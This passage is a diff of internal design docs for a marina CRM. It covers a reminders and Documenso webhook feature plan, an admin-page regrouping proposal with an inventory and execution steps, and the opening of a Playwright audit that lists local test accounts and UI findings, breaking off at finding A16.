+- `reminders.assigned_to` (existing). Dialog has an "Assign to" picker
+  (port users via /api/v1/admin/users/picker), defaults to current user.
+- Inbox shows the assignee chip when not me; filter `[Mine | All my port]`.
+
+### Schema additions
+
+- `interests.reminder_note text NULL`
+- `user_profiles.digest_time_of_day time NOT NULL DEFAULT '09:00'`
+- `reminders.fired_at timestamptz NULL` (new — drives the worker idempotency)
+- No new tables. The existing `reminders` table covers standalone tasks.
+
+### UI
+
+- `<CreateReminderDialog>` component (shared).
+- RemindersInbox: `[+ New task]` button → dialog (linked entity blank).
+- Interest / client / berth / yacht detail pages: existing Reminders
+  section gains `[+ Task]` button → dialog (linked entity pre-filled,
+  field disabled).
+- Settings page: time picker for "default reminder time" → writes
+  `user_profiles.digest_time_of_day`.
+
+### Effort
+
+~3–4 days. Schema migration + dialog component + 4 entity-page wires
+
+- worker scheduler refactor + inbox filter.
+
+---
+
+## 3. Supplemental info form — per-port setting
+
+### Goal
+
+The "Send supplemental info form" link in the auto-email should resolve
+to the marketing site when configured; fall back to a CRM-hosted route
+otherwise. Confirmed: per-port setting.
+
+### Design
+
+- New system_settings key: `supplemental_form_url` (per-port, optional,
+  text). Defaults to NULL.
+- Link generator in the email service:
+  ```ts
+  const url = cfg.supplementalFormUrl
+    ? `${cfg.supplementalFormUrl}?token=${raw}`
+    : `${env.APP_URL}/supplemental/${raw}`;
+  ```
+- Existing `/supplemental/[token]` CRM route stays as the fallback. Add
+  a "Loading…" skeleton + dual-mode copy ("If you don't see your
+  details, contact your rep").
+- Admin UI: add the field to `/admin/email/page.tsx` (or a new
+  `/admin/supplemental/page.tsx`) — single text input with the help
+  hint "Leave blank to use the built-in CRM page."
+
+### Effort
+
+~2 hours (single setting + 1 admin field + link resolver).
+
+---
+
+## 4. Documenso phases 2 → 7 → 5 (you picked Phase 7 first)
+
+### Phase 7 — Project Director RBAC (~1h)
+
+- Add "Linked to CRM user" dropdown in `/admin/documenso/page.tsx`
+  pointing at the existing `developer_user_id` + `approver_user_id`
+  settings.
+- Auto-fill name/email from the selected user (read via
+  /api/v1/admin/users/picker).
+- Webhook handler in `src/app/api/webhooks/documenso/route.ts`: when an
+  event arrives for the developer or approver, also fire an in-CRM
+  `documenso:signed` notification routed to the linked user's CRM
+  notifications inbox.
+
+### Phase 2 — Webhook handler enhancement (~3–4h)
+
+- Cascading "your turn" emails: when signer N completes, fire an
+  invitation email to signer N+1 (sequential signing only).
+- On-completion PDF distribution: when status flips to COMPLETED,
+  email the signed PDF to all `documents.completion_cc_emails`.
+- Token-based recipient matching: prefer `signing_token` over email
+  for webhook → signer resolution (handles aliased emails).
+- Idempotency lock: replace the current body-hash dedup with a
+  composite `(documensoDocumentId, recipientEmail, eventType)` unique
+  constraint on documentEvents.
+- Schema is already in place from Phase 1 — this is pure handler logic.
+
+### Phase 5 — Embedded signing URL verification (~1–2h)
+
+- Confirm the marketing site's `/sign/<type>/<token>` page handles
+  every signer-role × documentType combo.
+- Update `signerMessages` map in the signing-invitation email template
+  to surface role-specific copy.
+- Apply nginx CORS block from the integration audit (constrain
+  Documenso webhook origin).
+
+### Effort total
+
+~6–7h across the three phases. Phase 4 (field placement UI, 10–14h)
+stays deferred — covered separately by the PDF template editor work
+you picked Phases 1+2 for.
+
+---
+
+## What I'll build first
+
+Per your sequencing:
+
+1. Documenso Phase 7 (~1h) — unblock the linked-user signing UX.
+2. Supplemental form per-port setting (~2h) — small win.
+3. Documenso Phase 2 (~3–4h) — meaningful UX improvement.
+4. Documenso Phase 5 (~1–2h) — security + role copy.
+5. EOI field overrides + reminders (~1.5 weeks combined) — the big
+   ones, picked up after the Documenso quick wins land.

docs/admin-ia-proposal.md

@@ -0,0 +1,415 @@
+# Admin IA — Audit + Proposed Regrouping
+
+**Status:** Phase 1 (proposal + decisions) — captured 2026-05-22 from B3 #10. Open questions resolved in section 7; final IA reflected in section 8. Phase 2 (execution) is mechanical from here.
+
+## Resolved decisions (2026-05-22)
+
+User answered the 5 open questions from section 7:
+
+1. **Forms + Document Templates** → moved to **Sales workflow** (not "Content"). Both are workflow inputs, not abstract content.
+2. **Webhooks** → keep as its own thing; **new "Integrations" domain** is the right home (Webhooks + Documenso + Website analytics + AI all belong together as "external system + provider config").
+3. **AI configuration** → keep a dedicated `/admin/ai` panel that consolidates every AI feature in one place; lives under the new **Integrations** domain.
+4. **`/admin/reports`** → **DELETE entirely** (confirmed duplicative — the dashboard already renders Pipeline funnel + Berth occupancy + KPI cards via widgets). Redirect to `/[portSlug]/dashboard`.
+5. **`/admin/settings`** (generic KV editor) → keep visible to all admins under System & observability.
+
+**Net effect:** 7 domains instead of 6; 3 pages deleted (ocr, invitations, reports) instead of 2. Final IA in section 8.
+
+---
+
+**Goal:** today's 41 admin pages are organically grown and discoverability is poor (test-email lives on Branding, an SMTP test on Email, an OCR-settings duplicate exists on both `/admin/ai` and `/admin/ocr`, etc.). Below: page-by-page inventory + a recommended IA in 6 domains.
+
+**Out of scope here:** the actual file moves, route redirects, and nav updates. That's Phase 2 (~4–6h once the IA below is locked).
+
+---
+
+## 1. Page-by-page inventory (current state, 41 pages)
+
+Sorted alphabetically. Each row: what the page renders today + its current admin-sections-browser group.
+
+| Route                           | What it renders                                                                                                                                    | Current group                           |
+| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
+| `/admin`                        | `<AdminSectionsBrowser>` — landing tile grid grouped into 5 categories                                                                             | —                                       |
+| `/admin/ai`                     | `<RegistryDrivenForm>` (ai master controls + provider credentials) + `<OcrSettingsForm>` + AI-suggestions card                                     | Operations                              |
+| `/admin/audit`                  | `<AuditLogList>` — full mutation log search                                                                                                        | Data Quality                            |
+| `/admin/backup`                 | `<BackupAdminPanel>` — backup posture (read-only)                                                                                                  | Operations                              |
+| `/admin/berths/bulk-add`        | `<BulkAddBerthsWizard>` — generate berth rows in bulk                                                                                              | (not in landing browser)                |
+| `/admin/berths/reconcile`       | `<ReconcileQueue>` — review berths missing required fields                                                                                         | (not in landing browser)                |
+| `/admin/branding`               | `<RegistryDrivenForm sections={['branding']}>` (identity) + email branding form + `<PdfLogoUploader>` + `<EmailPreviewCard>`                       | Configuration                           |
+| `/admin/brochures`              | `<BrochuresAdminPanel>` — upload/version port brochures                                                                                            | (not in landing browser)                |
+| `/admin/custom-fields`          | `<CustomFieldsManager>` — per-entity custom-field definitions                                                                                      | Content                                 |
+| `/admin/documenso`              | `<RegistryDrivenForm>` (api creds, signers, templates, behavior) + `<DocumensoTestButton>` + `<TemplateSyncButton>` + `<EmbeddedSigningCard>`      | Configuration ("EOI signing service")   |
+| `/admin/duplicates`             | `<DuplicatesReviewQueue>` — suspected-duplicate clients                                                                                            | Data Quality                            |
+| `/admin/email`                  | `<RegistryDrivenForm>` (from address + smtp) + `<SmtpTestSendCard>` + `<TestTemplateCard>` (new) + `<SalesEmailConfigCard>` + `<EmailRoutingCard>` | Configuration                           |
+| `/admin/email-templates`        | `<EmailTemplatesAdmin>` — subject-line overrides per transactional template                                                                        | Content                                 |
+| `/admin/errors`                 | error-event list (system errors)                                                                                                                   | (not in landing browser)                |
+| `/admin/errors/codes`           | error-code catalog reference                                                                                                                       | (not in landing browser)                |
+| `/admin/errors/[requestId]`     | single error-event detail                                                                                                                          | (not in landing browser)                |
+| `/admin/forms`                  | `<FormTemplateList>` — public inquiry/intake form schemas                                                                                          | Content                                 |
+| `/admin/import`                 | CSV import wizard                                                                                                                                  | Data Quality ("Bulk Import")            |
+| `/admin/inquiries`              | `<InquiryInbox>` — public-site submissions awaiting triage                                                                                         | Data Quality                            |
+| `/admin/invitations`            | (empty body — comment says merged into `/admin/users` 2026-05-21)                                                                                  | (not in landing browser)                |
+| `/admin/monitoring`             | `<SystemMonitoringDashboard>` — BullMQ queue health                                                                                                | Operations                              |
+| `/admin/monitoring/[queueName]` | `<QueueDetailTable>` — single-queue drill-down                                                                                                     | (not in landing browser)                |
+| `/admin/ocr`                    | `<OcrSettingsForm>` — **DUPLICATES the same form on `/admin/ai`**                                                                                  | (not in landing browser)                |
+| `/admin/onboarding`             | `<OnboardingChecklist>` — cross-page setup checklist for new ports                                                                                 | Operations                              |
+| `/admin/pipeline-rules`         | per-trigger berth-rules editor + `<RegistryDrivenForm sections={['pipeline.auto-advance']}>`                                                       | Configuration ("Pipeline auto-advance") |
+| `/admin/ports`                  | `<PortList>` — manage marinas (super-admin only)                                                                                                   | Operations                              |
+| `/admin/pulse`                  | `<RegistryDrivenForm sections={['pulse']}>` — pulse chip tuning                                                                                    | Configuration                           |
+| `/admin/qualification-criteria` | `<QualificationCriteriaAdmin>` — lead-qualification rubric                                                                                         | Operations                              |
+| `/admin/reminders`              | `<RegistryDrivenForm sections={['reminders.defaults','reminders.digest']}>`                                                                        | Configuration                           |
+| `/admin/reports`                | `<ReportsDashboard>` — saved analytics + ad-hoc queries                                                                                            | Operations                              |
+| `/admin/residential-stages`     | `<ResidentialStagesAdmin>` + stage-template registry form                                                                                          | Operations                              |
+| `/admin/roles`                  | `<RoleList>` — role/permission matrix                                                                                                              | Access                                  |
+| `/admin/sends`                  | `<SendsLog>` — brochure + per-berth PDF send retries                                                                                               | Data Quality                            |
+| `/admin/settings`               | `<SettingsManager>` — generic system_settings KV editor (escape hatch)                                                                             | Configuration ("System Settings")       |
+| `/admin/storage`                | `<StorageAdminPanel>` — storage backend selector + migration                                                                                       | Operations                              |
+| `/admin/tags`                   | `<TagList>` — color-coded tags per entity                                                                                                          | Content                                 |
+| `/admin/templates`              | `<TemplateList>` — PDF + email document templates (merge-field-driven)                                                                             | Content                                 |
+| `/admin/templates/[id]/editor`  | per-template editor (PDF + email body)                                                                                                             | (not in landing browser)                |
+| `/admin/users`                  | `<UserList>` + `<InvitationsManager>` (tabs, merged 2026-05-21)                                                                                    | Access                                  |
+| `/admin/vocabularies`           | `<VocabulariesManager>` — admin-editable enum lists                                                                                                | Content                                 |
+| `/admin/webhooks`               | `<WebhookForm>` + `<WebhookDeliveryLog>` + `<WebhookSecretDisplay>`                                                                                | Configuration                           |
+| `/admin/website-analytics`      | Umami creds form + `<UmamiTestButton>`                                                                                                             | Operations                              |
+
+---
+
+## 2. Issues identified
+
+### 2.1 Duplicates
+
+1. **`/admin/ocr` duplicates `/admin/ai`** — same `<OcrSettingsForm>` is mounted on both. The AI page is the source of truth (it also has the master AI switch + provider creds + AI-suggestions config). **Recommendation: delete `/admin/ocr`** + add a redirect.
+2. **`/admin/invitations` is dead** — the page body is empty (per the comment, merged into `/admin/users` 2026-05-21). **Recommendation: delete the route** + add a redirect to `/admin/users?tab=invitations`.
+
+### 2.2 Misplaced cards
+
+1. **`<EmailPreviewCard>` is on Branding but tests email rendering** — overlap with the new per-template tester on `/admin/email`. **Recommendation: KEEP on Branding** (it's a one-click "does the email LOOK right with current logo/colors?" affordance — that's a branding-validation concern, not a delivery test). Add a sibling link "→ Test individual templates" pointing at `/admin/email`.
+2. **`<SalesEmailConfigCard>` is on `/admin/email`** — correct home, but it's structurally identical to the noreply SMTP card above it (just a second mailbox). **Recommendation: keep but reformat** so both mailboxes are in matching cards stacked, with a shared "Test send" footer per mailbox.
+3. **`<EmailRoutingCard>` is on `/admin/email`** — actually it's a routing-rule editor (when X event fires, route through Y mailbox). Conceptually closer to a workflow rule than a credentials setting. **Recommendation: keep on Email** for now (the routing IS about email plumbing) but cross-link from Workflows since changing the rule changes behaviour.
+
+### 2.3 Inconsistent naming
+
+1. **"Documenso & EOI"** page title implies EOI lives separately — but EOI generation is one of multiple Documenso flows. **Recommendation: rename to "Signing service (Documenso)"**.
+2. **"Bulk Import"** vs `/admin/import` — fine, but the page should explicitly say "Data import" (matches the page title `<PageHeader title="Data import">`).
+3. **"Send Log"** vs `/admin/sends` — fine; consider renaming the route slug to `/admin/send-log` for clarity, but that costs cross-references.
+
+### 2.4 Pages not in the admin-sections-browser tile grid
+
+A bunch of pages exist as routes but aren't surfaced on `/admin`:
+
+- `/admin/berths/bulk-add`, `/admin/berths/reconcile` — only reachable from deep links inside the Berths page
+- `/admin/brochures`
+- `/admin/email-templates`, `/admin/tags`, `/admin/vocabularies`, `/admin/custom-fields`, `/admin/forms` — actually these ARE in the browser under "Content", verified
+- `/admin/qualification-criteria`, `/admin/residential-stages` — under Operations
+- `/admin/errors`, `/admin/errors/codes`, `/admin/errors/[requestId]`
+- `/admin/ocr` (duplicate, recommended for deletion)
+- `/admin/invitations` (dead, recommended for deletion)
+
+**Recommendation:** surface every active page on `/admin` (no hidden surfaces — discoverability matters for admins). Move `/admin/berths/bulk-add` + `/admin/berths/reconcile` to a new "Berths admin" landing card.
+
+### 2.5 Categories that don't quite fit
+
+- **"Content"** is doing too much heavy lifting — it lumps tag color picker (visual), vocab enum lists (config), form templates (workflow), and document templates (mail merge). These are all things admins _tune_ but their cognitive shape is different.
+- **"Data Quality"** mixes inbound queues (Inquiry Inbox) with cleanup utilities (Duplicates, Bulk Import) — those serve different daily-workflows.
+- **"Operations"** is the catch-all for "anything observability or infra-shaped" but also has things that are pure setup (AI configuration, residential pipeline stages).
+
+---
+
+## 3. Proposed IA — 6 domains, 38 pages
+
+Two pages deleted (`/admin/ocr`, `/admin/invitations`), one moved out of admin entirely (`/admin/reports` — see below), one new sub-area (`/admin/berths`). Net page count: 41 → 38.
+
+### Domain 1. **Brand & Communication** (5 pages)
+
+_Everything about how outbound looks + which channel it ships on._
+
+| Page                     | Action                     | Notes                                                                                                                                          |
+| ------------------------ | -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| `/admin/branding`        | KEEP                       | Logo, colors, app name, email header/footer HTML, the visual "does it look right?" tester.                                                     |
+| `/admin/email`           | KEEP                       | SMTP creds (noreply + sales), routing, per-template tester, SMTP connectivity probe.                                                           |
+| `/admin/email-templates` | KEEP                       | Subject-line overrides per transactional template. Stays separate from `/admin/email` because the audience is "copywriter" vs "ops".           |
+| `/admin/documenso`       | RENAME → "Signing service" | API creds, signer identities, templates, behaviour. Page title currently says "Documenso & EOI" — drop "& EOI" (EOI is one of many doc types). |
+| `/admin/webhooks`        | KEEP                       | Outbound webhook subscriptions + delivery log. Sits here because webhooks are an outbound-comms channel, same conceptual bucket as email.      |
+
+### Domain 2. **Sales workflow** (7 pages)
+
+_How the pipeline behaves end-to-end — triggers, scoring, templates._
+
+| Page                            | Action                        | Notes                                                                                                                  |
+| ------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
+| `/admin/pipeline-rules`         | KEEP                          | Berth-rules engine triggers + auto-advance.                                                                            |
+| `/admin/pulse`                  | KEEP                          | Deal Pulse chip tuning.                                                                                                |
+| `/admin/reminders`              | KEEP                          | Default reminder behaviour + digest window.                                                                            |
+| `/admin/qualification-criteria` | MOVE FROM "Operations" → here | Lead-qualification rubric — clearly a sales-workflow concern.                                                          |
+| `/admin/residential-stages`     | MOVE FROM "Operations" → here | Residential pipeline shape. Same domain as the standard pipeline rules.                                                |
+| `/admin/forms`                  | MOVE FROM "Content" → here    | Form templates drive lead intake — workflow input, not "content".                                                      |
+| `/admin/templates`              | MOVE FROM "Content" → here    | Document templates carry merge fields tied to the pipeline (EOI, reservation, contract). These ARE pipeline artefacts. |
+
+### Domain 3. **Catalog** (4 pages)
+
+_Tenant-defined data shapes — values that get attached to records._
+
+| Page                   | Action                     | Notes                                                                        |
+| ---------------------- | -------------------------- | ---------------------------------------------------------------------------- |
+| `/admin/vocabularies`  | KEEP                       | Admin-editable enum lists (berth_side_pontoon_options, lead_category, etc.). |
+| `/admin/tags`          | KEEP                       | Color tags.                                                                  |
+| `/admin/custom-fields` | KEEP                       | Per-entity field definitions.                                                |
+| `/admin/brochures`     | MOVE FROM ungrouped → here | Brochure assets are catalog artefacts (per-port versioned PDFs).             |
+
+### Domain 4. **Identity & access** (3 pages)
+
+_Who can use the system and what they can do._
+
+| Page           | Action | Notes                                        |
+| -------------- | ------ | -------------------------------------------- |
+| `/admin/users` | KEEP   | Active users + invitations (already merged). |
+| `/admin/roles` | KEEP   | Role/permission matrix.                      |
+| `/admin/ports` | KEEP   | Super-admin only; per-port management.       |
+
+### Domain 5. **Inbox & data quality** (6 pages)
+
+_Stuff that lands in admin queues + tools to clean up data._
+
+| Page                      | Action                                                      | Notes                                                       |
+| ------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------- |
+| `/admin/inquiries`        | KEEP                                                        | Public-site form submissions.                               |
+| `/admin/sends`            | KEEP                                                        | Brochure + per-berth-PDF send retries.                      |
+| `/admin/duplicates`       | KEEP                                                        | Suspected-duplicate review queue.                           |
+| `/admin/import`           | KEEP                                                        | CSV imports.                                                |
+| `/admin/berths`           | NEW INDEX                                                   | Landing page that surfaces the two berth-admin tools below. |
+| `/admin/berths/bulk-add`  | MOVE FROM ungrouped → keep route, surface via /admin/berths | Bulk berth row generator.                                   |
+| `/admin/berths/reconcile` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Berth-pdf reconciliation queue.                             |
+
+(Counted as one Berths entry on the landing tile + the two existing routes as sub-pages.)
+
+### Domain 6. **System & observability** (10 pages)
+
+_Infra, observability, escape hatches._
+
+| Page                            | Action             | Notes                                                                                                                                    |
+| ------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| `/admin/audit`                  | KEEP               | Mutation audit log.                                                                                                                      |
+| `/admin/monitoring`             | KEEP               | BullMQ queue health.                                                                                                                     |
+| `/admin/monitoring/[queueName]` | KEEP               | Single-queue detail.                                                                                                                     |
+| `/admin/errors`                 | SURFACE on landing | Error-event list (currently hidden from `/admin` tile grid).                                                                             |
+| `/admin/errors/codes`           | KEEP as sub-page   | Linked from `/admin/errors`.                                                                                                             |
+| `/admin/errors/[requestId]`     | KEEP as sub-page   | Linked from `/admin/errors`.                                                                                                             |
+| `/admin/backup`                 | KEEP               | Backup posture.                                                                                                                          |
+| `/admin/storage`                | KEEP               | Storage backend selector + migration.                                                                                                    |
+| `/admin/website-analytics`      | KEEP               | Umami creds.                                                                                                                             |
+| `/admin/ai`                     | KEEP               | AI config (master switch, providers, OCR settings, suggestions).                                                                         |
+| `/admin/settings`               | KEEP               | Generic KV editor (escape hatch for advanced flags). Stays in this domain because it's an admin-debug surface, not a normal-day setting. |
+| `/admin/onboarding`             | KEEP, FLOATS       | Cross-cutting setup checklist. Stays accessible from `/admin` landing but doesn't belong in any single domain — it links to many.        |
+
+### Out of admin entirely
+
+| Page             | Action                           | Rationale                                                                                                                                                                                                                                               |
+| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `/admin/reports` | MOVE OUT → `/[portSlug]/reports` | Reports are an end-user feature, not admin config. Today it lives in admin only because it's permission-gated; should be a top-level nav item with the same permission gate. Defer to a follow-up; for the IA pass, just stop surfacing it on `/admin`. |
+
+### Deleted
+
+| Page                 | Action                        | Rationale                                    |
+| -------------------- | ----------------------------- | -------------------------------------------- |
+| `/admin/ocr`         | DELETE + 301 → `/admin/ai`    | Duplicate of `/admin/ai`.                    |
+| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; functionality merged 2026-05-21. |
+
+---
+
+## 4. Misplaced cards / sub-section moves
+
+These are smaller-grained moves _within_ the new IA — cards that should change page even though the routes stay put.
+
+1. **`<EmailPreviewCard>` (currently on `/admin/branding`)** → KEEP on Branding (visual brand check); add a "→ Test individual templates" link pointing at `/admin/email#test-template`.
+2. **`<EmailRoutingCard>` (currently on `/admin/email`)** → KEEP on Email; cross-link from a "Routing rules" subsection of the new Workflow domain.
+3. **`<TemplateSyncButton>` (currently on `/admin/documenso`)** → KEEP; consider surfacing duplicate on `/admin/templates` (since "Sync from Documenso" populates template IDs there).
+4. **`<OnboardingChecklist>`** → consider exposing a slim version as a banner on `/admin` landing for ports that haven't completed setup.
+
+---
+
+## 5. Proposed `/admin` landing tile groups
+
+The `admin-sections-browser.tsx` array should be rebuilt to match the 6 domains above. Sketch:
+
+```ts
+const SECTIONS: AdminSection[] = [
+  {
+    title: 'Brand & Communication',
+    description: 'How outbound looks and which channels it ships on.',
+    items: ['branding', 'email', 'email-templates', 'documenso', 'webhooks'],
+  },
+  {
+    title: 'Sales workflow',
+    description: 'Pipeline behaviour, scoring, document + form templates.',
+    items: [
+      'pipeline-rules',
+      'pulse',
+      'reminders',
+      'qualification-criteria',
+      'residential-stages',
+      'forms',
+      'templates',
+    ],
+  },
+  {
+    title: 'Catalog',
+    description: 'Tenant-defined enums, tags, custom fields, and brochures.',
+    items: ['vocabularies', 'tags', 'custom-fields', 'brochures'],
+  },
+  {
+    title: 'Identity & access',
+    description: 'Who can use the system and what they can do.',
+    items: ['users', 'roles', 'ports'],
+  },
+  {
+    title: 'Inbox & data quality',
+    description: 'Admin queues + cleanup tools.',
+    items: ['inquiries', 'sends', 'duplicates', 'import', 'berths'],
+  },
+  {
+    title: 'System & observability',
+    description: 'Infra, observability, escape hatches.',
+    items: [
+      'audit',
+      'monitoring',
+      'errors',
+      'backup',
+      'storage',
+      'website-analytics',
+      'ai',
+      'settings',
+    ],
+  },
+];
+```
+
+Onboarding checklist surfaces above the grid (or as a banner on incomplete ports), not as a tile.
+
+---
+
+## 6. Phase 2 execution plan (~4–6h)
+
+Once the above IA is approved (or amended), the migration is mechanical:
+
+1. **Update `admin-sections-browser.tsx`** to the 6-domain shape above. (~30 min)
+2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
+3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
+4. **Rename "Documenso & EOI"** → "Signing service" (page title + landing label). (~5 min)
+5. **Create `/admin/berths/page.tsx`** index that surfaces bulk-add + reconcile. (~30 min)
+6. **Move `/admin/reports` out of admin** — touches sidebar nav + landing browser + permission docs. Defer to its own task if scope creeps. (~1h)
+7. **Cross-link cards** per section 4 (EmailPreviewCard → /admin/email link, etc.). (~30 min)
+8. **Smoke pass** — click every tile, confirm every page loads, every redirect lands. (~30 min)
+9. **Audit doc update** — mark B3 #10 SHIPPED in `alpha-uat-master.md`. (~10 min)
+
+Total: ~4 h plus ~1 h for the Reports move if we include it.
+
+---
+
+## 7. Open questions (resolved)
+
+| #   | Question                                 | Decision                                                                        |
+| --- | ---------------------------------------- | ------------------------------------------------------------------------------- |
+| 1   | Forms + Document Templates placement     | Moved to **Sales workflow** (not Content)                                       |
+| 2   | Webhooks placement                       | **New "Integrations" domain** (webhooks + documenso + website-analytics + ai)   |
+| 3   | AI configuration placement               | Keep dedicated `/admin/ai` panel; lives under **Integrations**                  |
+| 4   | `/admin/reports`                         | **DELETE entirely** (duplicates dashboard); redirect to `/[portSlug]/dashboard` |
+| 5   | `/admin/settings` (KV editor) visibility | Keep visible to all admins under **System & observability**                     |
+
+---
+
+## 8. Final IA — 7 domains, 38 pages
+
+After resolutions. Three pages deleted (`/admin/ocr`, `/admin/invitations`, `/admin/reports`); one new sub-area (`/admin/berths` index); one new domain (Integrations) split out from Brand & Communication.
+
+### Domain 1. **Brand & Communication** (3 pages)
+
+_How outbound LOOKS — visual and copy._
+
+- `/admin/branding` — logo, colors, app name, email shell HTML, EmailPreviewCard (visual check)
+- `/admin/email` — SMTP creds (noreply + sales), routing, per-template tester, SMTP probe
+- `/admin/email-templates` — subject-line + copy overrides per transactional template
+
+### Domain 2. **Sales workflow** (7 pages)
+
+_How the pipeline BEHAVES — triggers, scoring, templates._
+
+- `/admin/pipeline-rules` — berth-rules engine + auto-advance
+- `/admin/pulse` — Deal Pulse chip tuning
+- `/admin/reminders` — default behaviour + digest
+- `/admin/qualification-criteria` — lead-scoring rubric
+- `/admin/residential-stages` — residential pipeline shape
+- `/admin/forms` — lead intake form templates (moved from Content)
+- `/admin/templates` — document templates with merge fields (moved from Content)
+
+### Domain 3. **Catalog** (4 pages)
+
+_Tenant-defined data shapes that attach to records._
+
+- `/admin/vocabularies` — admin-editable enum lists
+- `/admin/tags` — color tags
+- `/admin/custom-fields` — per-entity field definitions
+- `/admin/brochures` — per-port versioned PDF assets
+
+### Domain 4. **Identity & access** (3 pages)
+
+- `/admin/users` — active users + invitations (merged)
+- `/admin/roles` — role/permission matrix
+- `/admin/ports` — super-admin only, per-port management
+
+### Domain 5. **Inbox & data quality** (5 pages, 1 sub-index)
+
+_Admin queues + cleanup tools._
+
+- `/admin/inquiries` — public-site submissions
+- `/admin/sends` — outbound send retry log
+- `/admin/duplicates` — duplicate-client review queue
+- `/admin/import` — CSV imports
+- `/admin/berths` — **NEW** index page surfacing the two existing sub-tools:
+  - `/admin/berths/bulk-add` (bulk row generator)
+  - `/admin/berths/reconcile` (berth-pdf reconciliation queue)
+
+### Domain 6. **Integrations** (4 pages) — NEW DOMAIN
+
+_External-system + provider configuration._
+
+- `/admin/documenso` — signing service (rename from "Documenso & EOI" → "Signing service")
+- `/admin/webhooks` — outbound subscriptions + delivery log
+- `/admin/website-analytics` — Umami creds
+- `/admin/ai` — dedicated AI panel consolidating master switch + provider creds + OCR settings + AI-suggestions config
+
+### Domain 7. **System & observability** (7 pages + 1 floating)
+
+_Infra, observability, escape hatches._
+
+- `/admin/audit` — mutation audit log
+- `/admin/monitoring` — BullMQ queue health (+ `/admin/monitoring/[queueName]` sub-page)
+- `/admin/errors` — error-event list (+ `/admin/errors/codes` + `/admin/errors/[requestId]`)
+- `/admin/backup` — backup posture
+- `/admin/storage` — storage backend selector + migration
+- `/admin/settings` — generic KV editor (escape hatch)
+- `/admin/onboarding` — cross-cutting setup checklist (floats above the grid for incomplete ports)
+
+### Deleted
+
+| Page                 | Action                                 | Rationale                                            |
+| -------------------- | -------------------------------------- | ---------------------------------------------------- |
+| `/admin/ocr`         | DELETE + 301 → `/admin/ai`             | Duplicate of `/admin/ai`'s OcrSettingsForm           |
+| `/admin/invitations` | DELETE + 301 → `/admin/users`          | Empty page; merged into `/admin/users` on 2026-05-21 |
+| `/admin/reports`     | DELETE + 301 → `/[portSlug]/dashboard` | Three widgets all already on the dashboard           |
+
+---
+
+## 9. Phase 2 execution plan (~4-5 h)
+
+Updated to reflect the resolved decisions. Reports move-out becomes a delete (simpler).
+
+1. **Update `admin-sections-browser.tsx`** to the 7-domain shape above. (~45 min — 7 groups, ~30 tiles)
+2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
+3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
+4. **Delete `/admin/reports`** + add `redirect()` to `/[portSlug]/dashboard`. (~10 min) + remove from sidebar nav + landing browser. (~15 min)
+5. **Rename `/admin/documenso`** page title → "Signing service" (page title + landing tile label). (~5 min)
+6. **Create `/admin/berths/page.tsx`** index page surfacing bulk-add + reconcile sub-tools. (~30 min)
+7. **Cross-link `<EmailPreviewCard>`** on Branding to add a "→ Test individual templates" link pointing at `/admin/email#test-template`. (~10 min)
+8. **Smoke pass** — click every tile on the new `/admin` landing, confirm every page loads, every redirect lands. (~30 min)
+9. **Update `alpha-uat-master.md`** Bucket 3 #10 → SHIPPED with this proposal's commit hash. (~5 min)
+
+Total: ~3.5-4 h.

docs/audit-2026-05-15.md

@@ -0,0 +1,117 @@
+# Comprehensive Playwright Audit — 2026-05-15
+
+Scope: full coverage of admin, sales-rep, viewer, portal, catch-up wizard, single-tree responsive shell, plus spot-checks on yacht / interest / berth detail surfaces.
+
+## Setup
+
+- Dev server: localhost:3000 (running)
+- Users:
+  - super_admin: `admin@portnimara.test` / `SuperAdmin12345!`
+  - sales_agent: `agent@portnimara.test` / `SalesAgent12345!`
+  - viewer: `viewer@portnimara.test` / `ViewerUser12345!`
+- Port slug: `port-nimara`
+
+## Verified working (positive findings)
+
+- ✅ super-admin login + dashboard renders, all 34 admin pages return 200
+- ✅ Recent commits' workflow features:
+  - F22 AlertTriangle icon on override-required stages
+  - F23 inline yacht-prereq picker fires when leaving Enquiry without a yacht (confirmed end-to-end: "A yacht must be linked before leaving Enquiry. Pick one below to move to Qualified.")
+  - F25 documents-hub folder selection persists in `?folder=root` querystring
+  - F44 OwnerPicker has Client/Company tabs visible in popover (just hidden by Select trigger summary)
+- ✅ **#67 catch-up workflow end-to-end**: manually flipped berth A2 → reconciliation queue picked it up → wizard quick-created client + interest + cleared override + reason stamped "Reconciled via interest <id>" + redirected to interest detail
+- ✅ **#26 single-tree shell**: at viewport 390px only mobile shell mounts (1 nav, no desktop sidebar); at 1440px only desktop shell mounts; clean swap on resize
+- ✅ Permission gating: viewer + sales-agent get no "New Client"/admin nav; viewer POST to /clients returns 403
+- ✅ Audit log captures all writes (tag create, berth update, interest create, client create) including the reconcile event with `reconciledInterestId` metadata
+
+## Findings
+
+### A1 — Dashboard Recent Activity surfaces raw `permission_denied` rows with no label
+
+- `/api/v1/dashboard/activity` returns entries with `action: "permission_denied"` and `label: null`. The activity feed renders just the action badge with nothing beside it. From earlier audits, 6 of these are stacked at the top of the dashboard for the super-admin.
+- Fix options: filter `permission_denied` out of the feed, OR map them to readable copy ("Permission denied: tried to view audit log (denied)") using `metadata.attemptedAction`.
+- Effort: XS.
+
+### A2 — Activity feed renders legacy 9-stage enum values
+
+- `pipelineStage: "deposit_10pct"` and `"contract_sent"` still appear in `oldValue` / `newValue` for historical rows. These should map to the 7-stage labels at render time so the feed reads as `Eoi → Deposit Paid` not `eoi_signed → deposit_10pct`.
+- The mapping table lives in seed-synthetic-data.ts (`details_sent→enquiry` etc.) — pull it into a shared `LEGACY_STAGE_REMAP` helper for activity-feed read paths.
+- Effort: S.
+
+### A16 — File upload to documents hub root fails with validation error
+
